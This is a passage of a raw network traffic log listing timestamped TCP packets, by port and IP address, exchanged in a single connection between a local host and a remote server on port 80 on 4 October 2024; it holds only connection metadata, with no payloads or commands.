Oct 4, 2024 05:45:09.940161943 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.940176010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.940188885 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.940190077 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.940203905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.940207958 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.940220118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.940232992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.940244913 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.940247059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.940259933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.940263987 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.940274954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.940289021 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.940295935 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.940301895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.940316916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.940319061 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.940330982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.940345049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.940360069 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.940360069 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.940361023 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.940373898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.940388918 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.940388918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.940428972 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.940428972 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.940515995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.940567017 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.940716982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.940731049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.940745115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.940758944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.940773010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.940774918 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.940774918 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.940787077 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.940799952 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.940800905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.940799952 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.940814972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.940819025 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.940835953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.940843105 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.940843105 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.940850973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.940861940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.940864086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.940879107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.940881014 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.940891981 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.940903902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.940903902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.940907001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.940921068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.940922022 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.940934896 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.940937996 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.940948963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.940953016 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.940972090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.940982103 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.940982103 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.940987110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.940999985 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.941001892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.941015959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.941025019 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.941025019 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.941030025 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.941042900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.941044092 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.941056013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.941068888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.941068888 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.941068888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.941083908 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.941092968 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.941093922 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.941097975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.941112041 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.941112041 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.941127062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.941128016 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.941139936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.941150904 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.941150904 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.941154957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.941169024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.941169024 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.941184044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.941186905 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.941198111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.941205025 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.941212893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.941226959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.941227913 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.941227913 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.941241980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.941246033 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.941255093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.941268921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.941270113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.941268921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.941283941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.941287994 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.941298008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.941312075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.941312075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.941313028 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.941327095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.941329956 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.941340923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.941354036 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.941354990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.941373110 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.941390991 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.941765070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.941780090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.941792965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.941807985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.941814899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.941821098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.941836119 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.941836119 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.941836119 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.941849947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.941864014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.941864967 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.941864967 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.941883087 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.941885948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.941900969 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.941906929 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.941906929 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.941915035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.941925049 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.941930056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.941941023 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.941943884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.941956043 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.941958904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.941977024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.941976070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.941991091 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.941993952 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.942004919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.942012072 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.942027092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.942035913 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.942035913 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.942042112 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.942055941 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.942055941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.942070961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.942074060 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.942085028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.942096949 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.942096949 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.942099094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.942112923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.942115068 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.942126989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.942133904 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.942141056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.942156076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.942157030 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.942157030 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.942169905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.942183018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.942183971 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.942184925 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.942204952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.942213058 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.942214012 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.942220926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.942233086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.942235947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.942250013 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.942253113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.942269087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.942269087 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.942284107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.942300081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.942311049 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.942311049 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.942315102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.942328930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.942338943 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.942342997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.942356110 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.942358971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.942375898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.942392111 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.942410946 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.942436934 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.942651033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.942666054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.942679882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.942693949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.942699909 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.942699909 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.942708969 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.942723036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.942723989 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.942737103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.942744017 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.942744017 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.942751884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.942773104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.942787886 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.942791939 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.942800999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.942811012 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.942816019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.942826986 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.942831039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.942842960 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.942845106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.942858934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.942864895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.942873955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.942888021 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.942888975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.942888975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.942904949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.942907095 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.942918062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.942929983 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.942929983 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.942931890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.942946911 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.942949057 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.942960024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.942965984 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.942975044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.942981958 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.942990065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.943002939 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.943003893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.943017960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.943036079 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.943049908 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.943052053 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.943064928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.943073988 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.943090916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.943097115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.943109989 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.943145990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.943367004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.943429947 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.943511963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.943562984 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.948362112 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.948395014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.948420048 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.948424101 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.948434114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.948445082 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.948451042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.948463917 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.948474884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.948478937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.948489904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.948498964 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.948504925 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.948514938 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.948522091 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.948532104 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.948537111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.948548079 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.948553085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.948565006 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.948568106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.948582888 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.948594093 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.948594093 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.948605061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.948611975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.948622942 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.948637009 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.948637962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.948652983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.948661089 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.948662043 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.948668003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.948679924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.948683023 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.948695898 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.948699951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.948710918 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.948714972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.948725939 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.948733091 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.948741913 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.948748112 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.948762894 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.948762894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.948781013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.948786020 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.948786020 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.948795080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.948805094 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.948811054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.948827028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.948841095 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.948841095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.948841095 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.948857069 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.948860884 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.948870897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.948883057 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.948883057 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.948885918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.948899984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.948900938 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.948914051 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.948916912 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.948929071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.948932886 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.948944092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.948957920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.948957920 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.948957920 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.948972940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.948976040 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.948993921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.948997021 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.949012995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.949017048 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.949017048 CEST	49704	80	192.168.2.5	185.215.113.37
